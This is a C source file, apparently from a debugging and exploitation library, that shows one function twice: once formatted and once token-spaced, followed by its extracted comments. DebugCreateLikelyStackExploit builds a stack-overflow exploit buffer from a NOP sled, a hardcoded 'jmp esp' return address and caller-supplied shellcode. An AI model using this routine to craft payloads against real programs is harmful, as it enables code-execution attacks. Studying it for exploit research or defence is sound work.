library/src/exploitation/BP-LinuxExploitation.cc
// looks at a stack analysis, and returns a likely exploit buffer
// given the stack analysis in the dbgHandle
looks at a stack analysis, and returns a likely exploit buffer
given the stack analysis in the dbgHandle
looks at a stack analysis and returns a likely exploit buffer given the stack analysis in the dbgHandle
P_EXPLOIT_SET DebugCreateLikelyStackExploit(P_EXPLOIT_ANALYSIS_LIST exploitAnalysis, char nopChar, char *shellcode, size_t scLen){
	if(exploitAnalysis == NULL){
		return NULL;
	}
	if(exploitAnalysis->stackPayloadAnalysis == NULL){
		return NULL;
	}
	if(nopChar == 0x00)
		return NULL;
	P_EXPLOIT_SET exploit = (P_EXPLOIT_SET) bpcalloc(sizeof(EXPLOIT_SET), 1);
	int payloadLength = 0;
	if(exploitAnalysis->stackPayloadAnalysis->overflowConditionsGood > 0){
		exploit->buffer = (char *) bpmalloc(exploitAnalysis->stackPayloadAnalysis->distanceToEip + 4 + scLen + 10);
		memset(exploit->buffer, 0x00, exploitAnalysis->stackPayloadAnalysis->distanceToEip + 4 + scLen + 10);
		for(payloadLength = exploitAnalysis->stackPayloadAnalysis->distanceToEip; payloadLength % 4 != 0; payloadLength--){
		}
		memset(exploit->buffer, nopChar, payloadLength);
		strncat(exploit->buffer, "\x77\xe7\xff\xff", 4);
		memcpy(&exploit->buffer[bpstrlen(exploit->buffer)], shellcode, scLen);
		exploit->size = bpstrlen((char *)exploit->buffer);
		return exploit;
	}
	return NULL;
}
P_EXPLOIT_SET DebugCreateLikelyStackExploit ( P_EXPLOIT_ANALYSIS_LIST exploitAnalysis , char nopChar , char * shellcode , size_t scLen ) { if ( exploitAnalysis == NULL ) { return NULL ; } if ( exploitAnalysis -> stackPayloadAnalysis == NULL ) { return NULL ; } if ( nopChar == 0x00 ) return NULL ; P_EXPLOIT_SET exploit = ( P_EXPLOIT_SET ) bpcalloc ( sizeof ( EXPLOIT_SET ) , 1 ) ; int payloadLength = 0 ; if ( exploitAnalysis -> stackPayloadAnalysis -> overflowConditionsGood > 0 ) { exploit -> buffer = ( char * ) bpmalloc ( exploitAnalysis -> stackPayloadAnalysis -> distanceToEip + 4 + scLen + 10 ) ; memset ( exploit -> buffer , 0x00 , exploitAnalysis -> stackPayloadAnalysis -> distanceToEip + 4 + scLen + 10 ) ; for ( payloadLength = exploitAnalysis -> stackPayloadAnalysis -> distanceToEip ; payloadLength % 4 != 0 ; payloadLength -- ) { } memset ( exploit -> buffer , nopChar , payloadLength ) ; strncat ( exploit -> buffer , " \x77 \xe7 \xff \xff " , 4 ) ; memcpy ( & exploit -> buffer [ bpstrlen ( exploit -> buffer ) ] , shellcode , scLen ) ; exploit -> size = bpstrlen ( ( char * ) exploit -> buffer ) ; return exploit ; } return NULL ; }
looks at a stack analysis, and returns a likely exploit buffer
given the stack analysis in the dbgHandle
looks at a stack analysis and returns a likely exploit buffer given the stack analysis in the dbgHandle
// cannot use a null byte as a nop char // Calculates our payload lengths // we can overflow reliable if we get in here // Make payload 4 byte aligned (100% accuracy as of yet) // nops first //memset(exploit->buffer, nopChar, exploitAnalysis->stackPayloadAnalysis->distanceToEip); // jmp esp next // shellcode next // assign length // Return most likely working exploit set :> // Failed, return null 